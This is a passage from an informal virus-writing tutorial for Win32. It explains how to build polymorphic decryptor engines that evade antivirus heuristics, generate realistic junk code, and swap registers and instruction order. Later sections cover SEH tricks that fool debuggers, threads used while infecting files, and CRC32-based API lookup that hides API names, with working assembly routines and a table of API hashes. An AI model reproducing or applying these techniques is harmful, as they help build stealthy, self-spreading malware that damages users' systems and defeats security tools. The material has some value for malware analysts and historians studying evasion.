        stosb                           ; Store AL where EDI points
        ret

one_table      label byte                  ; One-byters table
        lahf
        sahf
        cbw
        clc
        stc
        cmc
        cld
        nop
one_size       equ    ($-offset one_table)-1

buffer  db     100h dup (90h)              ; A simple buffer

end    Silly_II

;——[ CUT HERE ]————————————————————————————————————————————————————————————
```

Heh, i built a polymorphism of a weak level 3, tending to level 2 ;) Wheee!! The register exchanging will be explained later, as it goes with the opcode formation. But my target in this little sub-chapter is done: you should now have an idea of what we want to do. Imagine that instead onebyters you use twobyters, such as PUSH REG/POP REG, CLI/STI, etc.

% The "real" code generation %

Let's take a look (again) to our set of instructions.

```
      mov    ecx,virus_size              ; (1)
      lea    edi,crypt                  ; (2)
      mov    eax,crypt_key               ; (3)
@@1:   xor    dword ptr [edi],eax          ; (4)
      add    edi,4                      ; (5)
      loop   @@1                        ; (6)
```

For perform this same action, but with different code, many many things could be done, and this is our objective. For example, the first 3 instructions could be ordered in any other form, and the result wouldn't change, so you can create a function for randomize their order. And we could use any other set of registers, without any kind of problem. And we could use a dec/jnz instead a loop... Etc, etc, etc...

- Your code should be able to generate, for example, something like this for perform one simple instruction, let's imagine, the first mov:

```
      mov    ecx,virus_size
```

or

```
      push   virus_size
      pop    ecx
```

or

```
      mov    ecx,not (virus_size)
      not    ecx
```

or

```
      mov    ecx,(virus_size xor 12345678h)
      xor    ecx,12345678h
```

etc, etc, etc...

All those things would generate different opcodes, and would perform the same job, that is, put in ECX the size of the virus. Of course, there are billions of possiblities, because you can use a hige amount of instructions only for put a certain value in a register. It requires a lot of imagination from your side.

- Another thing is the order of the instructions. As i commented before, you can change easily the order of the instructions without any kind of problem, because the order for them doesn't matter. So, for example, instead the set of instructions 1,2,3 we could make it to be 3,1,2 or 1,3,2 etc, etc. Just let your imagination play.

- Very important too, is to exchange registers, because the opcode changes too for each opcode (for example, MOV EAX,imm32 is encoded as B8 imm32 and MOV ECX,imm32 is coded B9 imm32). You should use 3 registers for the decryptor from the 7 we could use (*NEVER* use ESP!!!). For example, imagine we choose (randomly) 3 registers, EDI as base pointer, EBX as key and ESI as counter; then we can use EAX, ECX, EDX and EBP as junk registers for the garbage instructions. Let's see an example about code for select 3 registers for our decryptor generation:

```
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-
InitPoly      proc

@@1:   mov     eax,8                       ; Get a random reg
      call    r_range                      ; EAX := [0..7]

      cmp     eax,4                       ; Is ESP?
      jz      @@1                        ; If it is, get another reg

      mov     byte ptr [ebp+base],al         ; Store it
      mov     ebx,eax                      ; EBX = Base register

@@2:   mov     eax,8                       ; Get a random reg
      call    r_range                      ; EAX := [0..7]

      cmp     eax,4                       ; Is ESP?
      jz      @@2                        ; If it is, get another one

      cmp     eax,ebx                      ; Is equal to base pointer?
      jz      @@2                        ; If it is, get another one

      mov     byte ptr [ebp+count],al        ; Store it
      mov     ecx,eax                      ; ECX = Counter register

@@3:   mov     eax,8                       ; Get random reg
      call    r_range                      ; EAX := [0..7]

      cmp     eax,4                       ; Is it ESP?
      jz      @@3                        ; If it is, get another one

      cmp     eax,ebx                      ; Is equal to base ptr reg?
      jz      @@3                        ; If it is, get another reg

      cmp     eax,ecx                      ; Is equal to counter reg?
      jz      @@3                        ; If it is, get another one

      mov     byte ptr [ebp+key],al          ; Store it

      ret

InitPoly      endp
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-
```

Now you have in 3 variables 3 different registers we could use freely without any kind of problem. With the EAX register we have a problem, not very important, but a problam indeed. As you know, the EAX register has, in some instructions, an optimized opcode for work. This is not a problem, because the code get executed equally, but the heuristics will notice that some opcodes are built in an incorrect way, a way that never a "real" assembler would do. You have two choices: if you still want to use EAX, for example, as an "active" reg in your code, you should check for it, and optimize if you could, or simply avoid to use EAX register as an "active" register of the decryptor, and use it only for garbage, directly using its optimized opcodes (build a table with them would be a great choice). We'll see it later. I recommend to use a mask register, for eventual garbage games :)

% Garbage generation %

In the quality of the garbage is the 90% of the quality of your polymorphic engine. Yes, i've said "quality" and not "quantity" as you should think. First of all i will present you the two options you have when coding a polymorphic engine:

- Generate realistic code, with appearence of legitimal application code. For example, GriYo's engines.

- Generate as much instructions as possible, with appareance of a corrupt file (use copro). For example, Mental Driller's MeDriPoLen (see Squatter).

Ok, let's begin then:

■ Common for both:

- CALLs (and CALLs within CALLs within CALLs...) in many different ways
- Unconditional JMPs

■ Realism:

Something realist is something that seem real, although it is not. With this i am trying to explain the following: what about if you see a hugh amount of code without CALLs and JUMPs? What about if it doesn't have a conditional jump after a CMP? It's almost impossible, as you, me and the AV know. So we must be able to generate all those kind of garbage structures:

- CMP/Conditional jumps
- TEST/Conditional jumps
- Always use optimized instructions if working with EAX

- Use memory accesses
- Generate PUSH/garbage/POP structures
- Generate very little amount of one-byters (if any)

■ Mental Drillism... ehrm... Corrupt code likeness:

This happens when the decryptor is full of non-senses, opcodes that make it to don't seem code, that is, don't respecting the rules listed before, and also, using coprocessor do-nothing instruction, and of course, use as much opcodes as possible.

-=≡=

Well, and now i will try to explain all the points of the code generation. Firstly, let's begin with all the things related to all them, the CALLs and the unconditional jumps.

· About the first point, the calls, it's very simple. You could do it, make calls to subroutines, by many ways:

```
┌ Figure 1 ───────┐      ┌ Figure 2 ───────┐      ┌ Figure 3 ───────  ┐
│    call   @@1   │      │    jmp    @@2   │      │    push   @@2     │
│    ...          │      │    ...          │      │    ...            │
│    jmp    @@2   │      │ @@1:            │      │ @@1:              │
│    ...          │      │    ...          │      │    ...            │
│ @@1:            │      │    ret          │      │    ret            │
│    ...          │      │    ...          │      │    ...            │
│    ret          │      │ @@2:            │      │ @@2:              │
│    ...          │      │    ...          │      │    ...            │
│ @@2:            │      │    call   @@1   │      │    call   @@1     │
└─────────────────┘      └─────────────────┘      └─────────────────  ┘
```

Of course you can mix'em all, and as result, you have a lot of ways to make a subroutine inside a decryptor. And, of course, you can fall into the recursivity (you will hear me talk more times about it), and there might be CALLs inside another CALLs, and all those inside another CALL, and another... whoa a really big headache.

By the way, a good option could be to store some of those subroutines' offsets and call them anywhere in the generated code.

· About unconditional jumps, it's very easy, as we don't have to take care about the instructions between the byte after the jump until jump's range, we can insert totally random opcodes, such as trash...

-==

Now i'm gonna discuss about the realism in the code. GriYo could be labeled as the greatest exponent in this kind of engines; if you see the engines of his Marburg, or his HPS, you will realize that, although its simplicity, he tries to make the code to seem as real as possible, and this made AV go mad before getting a reliable algorithm againist it. Ok, let's begin with some basic points:

· About 'CMP/Conditional jump' structure, its preety clear, because you will never use a compare if you after don't put a conditional jump... Ok, but try to make jumps with non-zero displacement, that is, generate some executable garbage between the conditional jump and the offset where it should jump (or not), and the code will be less suspicious in the eyes of the analyzer.

· Same with TEST, but use JZ or JNZ, because as you know, TEST only affects the zero flag.

· One of the most easily made fails are with the AL/AX/EAX registers, because they have their own optimized opcodes. You have the examples in the following instructions:

ADD, OR, ADC, SBB, AND, SUB, XOR, CMP and TEST (Immediate to register).

· About the memory accesses, a good choice could be to get at least 512 bytes of the infected PE file, place them somewhere in the virus, and make accesses to them, for read and for write. Try to use besides the simple indexation, double, and if your mind can afford it, try to use double indexation with multiplication, a'la [ebp+esi*4] for example. Ain't as difficult as you can think, believe me. You can also make memory movements, with MOVS directives, also use STOS, LODS, CMPS... All string operations can be used too. It's up to you.

· PUSH/TRASH/POP strutures are very usefull, because the simplicity of its adding to the engine, and because the good results, as it's a very normal structure in a legitimal program.

· The amont of one-byters, if too high, could show our presence to the AV, or to the eyes of a curious person. Think that the normal programs doesn't normally use them, so it could be better to add a check for avoid as much as possible their usage, but still using one or two each 25 bytes (i think its a good rate).

-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=-=≡=

Here goes some Mental Drillism :)

· You can use, for example, the following 2 byte coprocessor instructions as garbage without any kind of problem:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

Just put in the beginning of the virus this two instructions in order to reset the coprocessor:

```
      fwait
      fninit
```

Mental Driller is going into realism right now (as far as i know) with his latest impressive engine (TUAREG), so...

% Instruction building %

This is probably the most important thing related with polymorphy: the relation that exist between the same instruction with different register, or between two instructions of the same family. The relationship between them is very clear if we pass the values to binary. But before, some useful info:

```
Regs in binary 0 000 001 010 011 100 101 110 111

Byte registers 0 AL  CL  DL  BL  AH  CH  DH  BH
Word registers 0 AX  CX  DX  BX  SP  BP  SI  DI
Extended regs  0 EAX ECX EDX EBX ESP EBP ESI EDI
Segments      0 ES  CS  SS  DS  FS  GS  --  --
MMX registers  0 MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7
```

Well, i think that my big error while writing my serials of Virus Writing Guides for MS-DOS was in the part i explained the OpCodes structure, and all those shit. What i am going to describe here is a bit of "do it yourself", exactly what i do when writing a poly engine. Just take an example of a XOR opcode...

```
      xor    edx,12345678h -> 81 F2 78563412
      xor    esi,12345678h -> 81 F6 78563412
```

Do you see the difference? I use to take a debugger, and then write the opcode i want to construct with some registers, and see what changes. Ok, as you can see (hey! you aren't blind, are you?) the byte that changes is the second one. Now comes the funny part: put the values in binary.

```
      F2 -> 11 110 010
      F6 -> 11 110 110
```

Ok, you see what changed? The last three bits, rite? Ok, now go to the part where i put the registers in binary :) As you have realized, the three bits have changed according to the register value. So...

```
      010 -> EDX reg
      110 -> ESI reg
```

Just try to put another binary value to that three bits and you'll see how the register changes. But be careful... don't use EAX value (000) with this opcode, because, as all the arithmetic instructions, is optimized for EAX, thus changing completly the OpCode. Besides, if you put it with EAX, the heuritics will flag it (anyways it will work, but...).

So, debug all you wanna construct, see the relationship between them, and build a reliable code for generate anything. It's very easy!

% Recursivity %

It's a great point on your polymorphic engine. The recursivity must have a limit, but depending of that limit, the code can be VERY hard to follow (if the limit is high). Let's imagine we have a table with all offsets of all the junk constructors:

```
PolyTable:
      dd     offset (GenerateMOV)
      dd     offset (GenerateCALL)
      dd     offset (GeneratteJMP)
      [...]
EndPolyTable:
```

And imagine you have the following routine for select between them:

```
GenGarbage:
      mov    eax,EndPolyTable-PolyTable
      call   r_range
      lea    ebx,[ebp+PolyTable]
      mov    eax,[ebx+eax*4]
      add    eax,ebp
      call   eax
      ret
```

And now imagine your 'GenerateCALL' instructions calls from inside it to 'GenGarbage' routine. Heh, the 'GenGarbage' routine could call again to 'GenerateCALL', and again, and again (depends of the RNG), so you'll have CALLs inside CALLs inside CALLs... I've said before that thing of a limit just for avoid speed problems, but it is easily solved with these new 'GenGarbage' routine:

```
GenGarbage:
      inc    byte ptr [ebp+recursion_level]
      cmp    byte ptr [ebp+recursion_level],05 ; <- 5 is the recursion
      jae    GarbageExit                       ;    level here!

      mov    eax,EndPolyTable-PolyTable
      call   r_range
      lea    ebx,[ebp+PolyTable]
      mov    eax,[ebx+eax*4]
      add    eax,ebp
      call   eax

GarbageExit:
      dec    byte ptr [ebp+recursion_level]
      ret
```

So, our engine will be able to generate huge amount of fooling code full of calls and such like ;) Of course, this also can be applied between PUSH and POP :)

% Final words %

Well, the polymorphism defines the coder, so i won't discuss much more. Just do it yourself instead of copying code. Just don't do the tipical engine with one simple kind of encryption operation and very basic junk such as are MOV, etc. Use all your imaginative mind can think. For example, there are many types of calls to do: three styles (as i described before), and besides that, you can build stack frames, PUSHAD/POPAD, pass parameters to it via PUSH (and after a RET x), and many many more. Be imaginative!

Advanced Win32 techniques

In this chapter i will discuss some techniques, that don't deserve a full chapter for each one of them, but also, they don't deserve to be forgotten as easily :) So, here i will talk about these things:

- Structured Exception Handler
- MultiThreading
- CRC32 (IT/ET)
- AntiEmulators
- Overwriting .reloc section

% Structured Exception Handler %

The Structured Exception Handler (shortened to SEH) is a very cool feature present in all Win32 enviroments. What it does is very easy to understand: if a general protection fault (shotened to GPF) occurs, the control is automatically passed to the current existing SEH handler. Do you see its utility? If you mess it all up, you'll be able (still) to keep your virus unnoticeable :) The pointer to the SEH handler is present at FS:[0000]. So, you can easily put your own new SEH handler (but remember to preserve the old one!). If a fault occurs, the control will be passed to your SEH handler routine, but the stack will be fucked up. Fortunatelly, Micro$oft has put the stack as it was before setting our SEH handler in ESP+08 :) So, simply we'll have to restore it and set the old SEH handler again in its place :) Let's see a brief example of SEH usage:

```
;——[ CUT HERE ]——————————————————————————————————————————————————————————

        .386p
        .model  flat                            ; Good good... 32 bit r0x0r

extrn   MessageBoxA:PROC                ; Defined APIs
extrn   ExitProcess:PROC

        .data
```

```
szTitle        db     "Structured Exception Handler [SEH]",0
szMessage      db     "Intercepted General Protection Fault!",0

      .code

start:
      push   offset exception_handler       ; Push our exception handler
                                          ; offset
      push   dword ptr fs:[0000h]           ;
      mov    dword ptr fs:[0000h],esp

errorhandler:
      mov    esp,[esp+8]                   ; Put the original SEH offset
                                          ; Error gives us old ESP
                                          ; in [ESP+8]

      pop    dword ptr fs:[0000h]           ; Restore old SEH handler

      push   1010h                        ; Parameters for MessageBoxA
      push   offset szTitle
      push   offset szMessage
      push   00h
      call   MessageBoxA                   ; Show message :]

      push   00h
      call   ExitProcess                   ; Exit Application

setupSEH:
      xor    eax,eax                      ; Generate an exception
      div    eax

end   start
;——[ CUT HERE ]——————————————————————————————————————————————————————
```

As was seen in the "Win32 antidebug" chapter, the SEH has another features rather than only this one :) It fools most of the application level debuggers. For make easier the job of put a new SEH handler, here you have some macros that do that for you (hi Jacky!):

```
; Put SEH - Sets a new SEH handler

pseh    macro   what2do
       local   @@over_seh_handler
```

```
        call    @@over_seh_handler
        mov     esp,[esp+08h]
        what2do
@@over_seh_handler:
        xor     edx,edx
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx],esp
        endm

; Restore SEH - Restore old SEH handler

rseh    macro
        xor     edx,edx
        pop     dword ptr fs:[edx]
        pop     edx
        endm
```

Well, its usage is very simple. For example:

```
        pseh    <jmp SEH_handler>
        div     edx
        push    00h
        call    ExitProcess
SEH_handler:
        rseh
        [...]
```

The below code, if executed, will continue after 'rseh' macro, instead of terminating the process. Is it clear? :)

% MultiThreading %

When i was told that this could be easily done under Win32 enviroments, then came to my mind many uses to it: execute code while another code (also from our virus) is being executed is a sweet dream, because you save time :)

Well, the main algorithm of a multitask procedure is:

1. Create the correspondent thread of the code you wanna run
2. Wait for the child process to end in the parent process' code

This seems difficult, but there are two APIs that come to save us. Their names: CreateThread and WaitForSingleObject. Let's see what the Win32 API list says about these APIs...

-·

The CreateThread function creates a thread to execute within the address space of the calling process.

```
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES lpThreadAttributes,  // ptr to thread security attrs
  DWORD dwStackSize,               // initial thread stack size, in bytes
  LPTHREAD_START_ROUTINE lpStartAddress,      // pointer to thread function
  LPVOID lpParameter,                        // argument for new thread
  DWORD dwCreationFlags,                                // creation flags
  LPDWORD lpThreadId             // pointer to returned thread identifier
 );
```

Parameters

- lpThreadAttributes: Pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle can be inherited by child processes. If lpThreadAttributes is NULL, the handle cannot be inherited.

Windows NT: The lpSecurityDescriptor member of the structure specifies a security descriptor for the new thread. If lpThreadAttributes is NULL, the thread gets a default security descriptor.

Windows 95: The lpSecurityDescriptor member of the structure is ignored.

- dwStackSize: Specifies the size, in bytes, of the stack for the new thread If 0 is specified, the stack size defaults to the same size as that of the primary thread of the process. The stack is allocated automatically in the memory space of the process and it is freed when the thread terminates Note that the stack size grows, if necessary. CreateThread tries to commit the number of bytes specified by dwStackSize, and fails if the size exceeds available memory.

- lpStartAddress: The starting address of the new thread. This is typically the address of a function declared with the WINAPI calling convention that accepts a single 32-bit pointer as an argument and returns a 32-bit exit code. Its prototype is:

```
DWORD WINAPI ThreadFunc( LPVOID );
```

■ lpParameter: Specifies a single 32-bit parameter value passed to the thread.

■ dwCreationFlags: Specifies additional flags that control the creation of the thread. If the CREATE_SUSPENDED flag is specified, the thread is created in a suspended state, and will not run until the ResumeThread function is called. If this value is zero, the thread runs immediately after creation. At this time, no other values are supported.

■ lpThreadId: Points to a 32bit variable that receives the thread identifier

Return Values

■ If the function succeeds, the return value is a handle to the new thread.

■ If the function fails, the return value is NULL. To get extended error information, call GetLastError.

Windows 95: CreateThread succeeds only when it is called in the context of a 32-bit program. A 32-bit DLL cannot create an additional thread when that DLL is being called by a 16-bit program.

-·

The WaitForSingleObject function returns when one of the following occurs:

· The specified object is in the signaled state.
· The time-out interval elapses.

```
DWORD WaitForSingleObject(
  HANDLE hHandle,                         // handle of object to wait for
  DWORD dwMilliseconds                // time-out interval in milliseconds
 );
```

Parameters

■ hHandle: Identifies the object. For a list of the object types whose handles can be specified, see the following Remarks section.

Windows NT: The handle must have SYNCHRONIZE access. For more information, see Access Masks and Access Rights.

- dwMilliseconds: Specifies the time-out interval, in milliseconds. The function returns ifthe interval elapses, even if the object's state is nonsignaled. If dwMilliseconds is zero, the function tests the object's state and returns immediately. If dwMilliseconds is INFINITE, the function time-out interval never elapses.

Return Values

- If the function succeeds, the return value indicates the event that caused the function to return.

- If the function fails, the return value is WAIT_FAILED. To get extended error information, call GetLastError.

-.

If this hasn't been enough for you, or you don't know a shit of what all those words are trying to say you, here you have an ASM example of multitasking.

```
;──[ CUT HERE ]─────────────────────────────────────────────────────────────
      .586p
      .model flat

extrn   CreateThread:PROC
extrn   WaitForSingleObject:PROC
extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

      .data
tit1         db     "Parent Process",0
msg1         db     "Spread your wings and fly away...",0
tit2         db     "Child Process",0
msg2         db     "Billy's awesome bullshit!",0

lpParameter   dd     00000000h
lpThreadId    dd     00000000h

      .code

multitask:
       push   offset lpThreadId            ; lpThreadId
```

```
        push    00h                        ; dwCreationFlags
        push    offset lpParameter           ; lpParameter
        push    offset child_process         ; lpStartAddress
        push    00h                        ; dwStackSize
        push    00h                        ; lpThreadAttributes
        call    CreateThread

; EAX = Thread handle

        push    00h                        ; 'Parent Process' blah blah
        push    offset tit1
        push    offset msg1
        push    00h
        call    MessageBoxA

        push    0FFh                       ; Wait infinite seconds
        push    eax                        ; Handle to wait (thread)
        call    WaitForSingleObject

        push    00h                        ; Exit program
        call    ExitProcess

child_process:
        push    00h                        ; 'Child Process' blah blah
        push    offset tit2
        push    offset msg2
        push    00h
        call    MessageBoxA
        ret

end     multitask
;——[ CUT HERE ]——————————————————————————————————————————————————————
```

If you test the above code, you will see that if you click on 'Accept' button in the child process, then you will have to click also to 'Accept' in the parent process, but if you close the parent process, both messageboxes will be closed. Interesting, huh? If the parent process dies, all its related threads die with it, but if the child process die, the parent one still survives.

So, it's preety interesting to see that you can control both processes, the parent and the child with WaitForSingleObject. Imagine the possibilities: searching through directories for a determinated file (example: MIRC.INI) at the same time you are generating a polymorphic decryptor, and unpacking a dropper... Whoa! ;)

See Benny's tutorial about Threads and Fibers (29A#4).

% CRC32 (IT/ET) %

Well, we all know (or i expect this) how to code an API search engine... it is preety easy, and you have many tutorials to choose (JHB's, Lord Julus', this tutorial...), just get one and study it. But, as you realized, the API addresses occupy (let's say WASTE) many bytes of your virus. How to solve this problem if you want to code a small virus?

The solution: CRC32

I believe that GriYo was the first to use this technique, in his impressive Win32.Parvo virus (sources not released yet). It consists in, instead of searching for a determinated amount of bytes that matches exactly with the API name we have in our code, get all the API names, one after another, and retrieve their CRC32, and compare it with the CRC32 of the API we are searching for. If it's equal, then we must proceed as always. Ok, ok... first of all you need some code for get the CRC32 :) Let's get Zhengxi's code, remixed firstly by Vecna, and finally remixed by me (optimized few bytes) ;)

```
;——[ CUT HERE ]———————————————————————————————————————————————————————————
;
; CRC32 procedure
;  ———————————————┘
;
; input:
;  ESI = Offset where code to calculate begins
;  EDI = Size of that code
; output:
;  EAX = CRC32 of  given code
;

 CRC32          proc
        cld
        xor     ecx,ecx                         ; Optimized by me - 2 bytes
        dec     ecx                            ; less
        mov     edx,ecx
 NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
```

```
      lodsb
      xor    al,cl
      mov    cl,ch
      mov    ch,dl
      mov    dl,dh
      mov    dh,8
NextBitCRC:
      shr    bx,1
      rcr    ax,1
      jnc    NoCRC
      xor    ax,08320h
      xor    bx,0EDB8h
NoCRC: dec    dh
      jnz    NextBitCRC
      xor    ecx,eax
      xor    edx,ebx
      dec    edi                       ; 1 byte less
      jnz    NextByteCRC
      not    edx
      not    ecx
      mov    eax,edx
      rol    eax,16
      mov    ax,cx
      ret
CRC32        endp
;───[ CUT HERE ]──────────────────────────────────────────────────────
```

Well, we now know how to get the fucking CRC32 of a determinated string and/ or code, but you are expecting here another thing... hehehehe, yeah! you're waiting for the code of the API search engine :)

```
;───[ CUT HERE ]──────────────────────────────────────────────────────
;
; GetAPI_ET_CRC32 procedure
; ─────────────────────────┘
;
; Heh, hard name? Well, this procedure searches for an API name in the Export
; Table of  KERNEL32 (a little  changes would make  it  work on any DLL), but
; only needing the CRC32 of the API, not the complete string :) Requires also
; a routine for obtain CRC32 as the one i presented above.
;
; input:
;       EAX = CRC32 of the API ASCIIz name
; output:
```

```
;  EAX = API address
;

 GetAPI_ET_CRC32 proc
       xor     edx,edx
       xchg    eax,edx                      ; Put CRC32 of da api in EDX
       mov     word ptr [ebp+Counter],ax       ; Reset counter
       mov     esi,3Ch
       add     esi,[ebp+kernel]               ; Get PE header of KERNEL32
       lodsw
       add     eax,[ebp+kernel]               ; Normalize

       mov     esi,[eax+78h]                 ; Get a pointer to its
       add     esi,1Ch                      ; Export Table
       add     esi,[ebp+kernel]

       lea     edi,[ebp+AddressTableVA]        ; Pointer to the address table
       lodsd                               ; Get AddressTable value
       add     eax,[ebp+kernel]               ; Normalize
       stosd                               ; And store in its variable

       lodsd                               ; Get NameTable value
       add     eax,[ebp+kernel]               ; Normalize
       push    eax                          ; Put it in stack
       stosd                               ; Store in its variable

       lodsd                               ; Get OrdinalTable value
       add     eax,[ebp+kernel]               ; Normalize
       stosd                               ; Store

       pop     esi                          ; ESI = NameTable VA

 @?_3:  push    esi                          ; Save again
       lodsd                               ; Get pointer to an API name
       add     eax,[ebp+kernel]               ; Normalize
       xchg    edi,eax                      ; Store ptr in EDI
       mov     ebx,edi                      ; And in EBX

       push    edi                          ; Save EDI
       xor     al,al                        ; Reach the null character
       scasb                               ; that marks us the end of
       jnz     $-1                          ; the api name
       pop     esi                          ; ESI = Pointer to API Name
```

```
        sub     edi,ebx                         ; EDI = API Name size

        push    edx                             ; Save API's CRC32
        call    CRC32                           ; Get actual api's CRC32
        pop     edx                             ; Restore API's CRC32
        cmp     edx,eax                         ; Are them equal?
        jz      @?_4                            ; if yes, we got it

        pop     esi                             ; Restore ptr to api name
        add     esi,4                           ; Get the next
        inc     word ptr [ebp+Counter]          ; And increase the counter
        jmp     @?_3                            ; Get another api!
@?_4:
        pop     esi                             ; Remove shit from stack
        movzx   eax,word ptr [ebp+Counter]      ; AX = Counter
        shl     eax,1                           ; *2 (it's an array of words)
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
        xor     esi,esi                         ; Clear ESI
        xchg    eax,esi                         ; ESI = Ptr 2 ordinal; EAX = 0
        lodsw                                   ; Get ordinal in AX
        shl     eax,2                           ; And with it we go to the
        add     eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
        xchg    esi,eax                         ; dwords)
        lodsd                                   ; Get Address of API RVA
        add     eax,[ebp+kernel]                ; and normalize!! That's it!
        ret
GetAPI_ET_CRC32 endp

AddressTableVA dd       00000000h               ;\
NameTableVA    dd       00000000h               ; > IN THIS ORDER!!
OrdinalTableVA dd       00000000h               ;/

kernel         dd       0BFF70000h              ; Adapt it to your needs ;)
Counter        dw       0000h
;──[ CUT HERE ]────────────────────────────────────────────────────────────
```

And now, here will go the equivalent code, but now for manipulate the Import Table, thus making you to be able to make a Per-Process resident only with the CRC32 of the APIs ;)

```
;──[ CUT HERE ]────────────────────────────────────────────────────────────
;
; GetAPI_IT_CRC32 procedure
;  ─────────────────────────┘
```

```
;
; This procedure will search in the Import Table the API that matches with
; the CRC32 passed to the routine. This is useful for make a Per-Process re-
; sident (see "Per-Process residence" chapter on this tutorial).
;
; input:
;       EAX = CRC32 of the API ASCIIz name
; output:
;  EAX = API address
;       EBX = Pointer to the API address in the Import Table
;       CF  = Set if routine failed
;

 GetAPI_IT_CRC32 proc
       mov    dword ptr [ebp+TempGA_IT1],eax  ; Save API CRC32 for later

       mov    esi,dword ptr [ebp+imagebase]   ; ESI = imagebase
       add    esi,3Ch                        ; Get ptr to PE header
       lodsw                                ; AX = That pointer
       cwde                                 ; Clear MSW of EAX
       add    eax,dword ptr [ebp+imagebase]   ; Normalize pointer
       xchg   esi,eax                        ; ESI = Such pointer
       lodsd                                ; Get DWORD

       cmp    eax,"EP"                       ; Is there the PE mark?
       jnz    nopes                         ; Fail... duh!

       add    esi,7Ch                        ; ESI = PE header+80h
       lodsd                                ; Look for .idata
  push    eax
       lodsd                                ; Get size
  mov     ecx,eax
  pop     esi
       add    esi,dword ptr [ebp+imagebase]   ; Normalize

 SearchK32:
       push    esi                          ; Save ESI in stack
       mov    esi,[esi+0Ch]                   ; ESI = Ptr to name
       add    esi,dword ptr [ebp+imagebase]   ; Normalize
       lea    edi,[ebp+K32_DLL]               ; Ptr to 'KERNEL32.dll'
       mov    ecx,K32_Size                    ; Size of string
       cld                                 ; Clear direction flag
       push    ecx                          ; Save ECX
       rep    cmpsb                         ; Compare bytes
```

```
      pop     ecx                             ; Restore ECX
      pop     esi                             ; Restore ESI
      jz      gotcha                           ; Was it equal? Damn...
      add     esi,14h                          ; Get another field
      jmp     SearchK32                        ; And search again
gotcha:
      cmp     byte ptr [esi],00h                 ; Is OriginalFirstThunk 0?
      jz      nopes                           ; Damn if so...
      mov     edx,[esi+10h]                     ; Get FirstThunk
      add     edx,dword ptr [ebp+imagebase]   ; Normalize
      lodsd                                   ; Get it
      or      eax,eax                          ; Is it 0?
      jz      nopes                           ; Damn...

      xchg    edx,eax                          ; Get pointer to it
 add     edx,[ebp+imagebase]
 xor     ebx,ebx
loopy:
      cmp     dword ptr [edx+00h],00h            ; Last RVA?
      jz      nopes                           ; Damn...
      cmp     byte ptr  [edx+03h],80h            ; Ordinal?
      jz      reloop                           ; Damn...

      mov     edi,[edx]                        ; Get pointer of an imported
      add     edi,dword ptr [ebp+imagebase]   ; API
 inc     edi
 inc     edi
      mov     esi,edi                          ; ESI = EDI

      pushad                                  ; Save all regs
      eosz_edi                                 ; Get end of string in EDI
      sub     edi,esi                          ; EDI = API size

 call    CRC32
      mov     [esp+18h],eax                     ; Result in ECX after POPAD
 popad

      cmp     dword ptr [ebp+TempGA_IT1],ecx  ; Is the CRC32 of this API
      jz      wegotit                          ; equal as the one we want?
reloop:
      inc     ebx                             ; If not, loop and search for
      add     edx,4                            ; another API in the IT
 loop    loopy
wegotit:
       shl     ebx,2                          ; Multiply per 4
       add     ebx,eax                        ; Add FirstThunk
       mov     eax,[ebx]                      ; EAX = API address
       test    al,00h                         ; Overlap: avoid STC :)
  org    $-1
nopes:
  stc
  ret
GetAPI_IT_CRC32 endp

TempGA_IT1     dd     00000000h
imagebase      dd     00400000h
K32_DLL        db     "KERNEL32.dll",0
K32_Size       equ    $-offset K32_DLL

;——[ CUT HERE ]——————————————————————————————————————————————————————
```

Happy? Yeah, it rocks and it's easy! And, of course, you can avoid the suspicions of the user if your virus is unencrypted, because there are no visible API names :) Well, i will list some CRC32 of some APIs (including the null character of the end of the API), but if you want to use another API rather than the ones i will list here, i will also put a little program that gives you the CRC32 of an ASCIIz string.

CRC32 of some APIs.-

API name	CRC32	API name	CRC32
CreateFileA	08C892DDFh	CloseHandle	068624A9Dh
FindFirstFileA	0AE17EBEFh	FindNextFileA	0AA700106h
FindClose	0C200BE21h	CreateFileMappingA	096B2D96Ch
GetModuleHandleA	082B618D4h	GetProcAddress	0FFC97C1Fh
MapViewOfFile	0797B49ECh	UnmapViewOfFile	094524B42h
GetFileAttributesA	0C633D3DEh	SetFileAttributesA	03C19E536h
ExitProcess	040F57181h	SetFilePointer	085859D42h
SetEndOfFile	059994ED6h	DeleteFileA	0DE256FDEh
GetCurrentDirectoryA	0EBC6C18Bh	SetCurrentDirectoryA	0B2DBD7DCh
GetWindowsDirectoryA	0FE248274h	GetSystemDirectoryA	0593AE7CEh
LoadLibraryA	04134D1ADh	GetSystemTime	075B7EBE8h
CreateThread	019F33607h	WaitForSingleObject	0D4540229h
ExitThread	0058F9201h	GetTickCount	0613FD7BAh
FreeLibrary	0AFDF191Fh	WriteFile	021777793h
GlobalAlloc	083A353C3h	GlobalFree	05CDF6B6Ah
GetFileSize	0EF7D811Bh	ReadFile	054D8615Ah

GetCurrentProcess	003690E66h	GetPriorityClass	0A7D0D775h
SetPriorityClass	0C38969C7h	FindWindowA	085AB3323h
PostMessageA	086678A04h	MessageBoxA	0D8556CF7h
RegCreateKeyExA	02C822198h	RegSetValueExA	05B9EC9C6h
MoveFileA	02308923Fh	CopyFileA	05BD05DB1h
GetFullPathNameA	08F48B20Dh	WinExec	028452C4Fh
CreateProcessA	0267E0B05h	_lopen	0F2F886E3h
MoveFileExA	03BE43958h	CopyFileExA	0953F2B64h
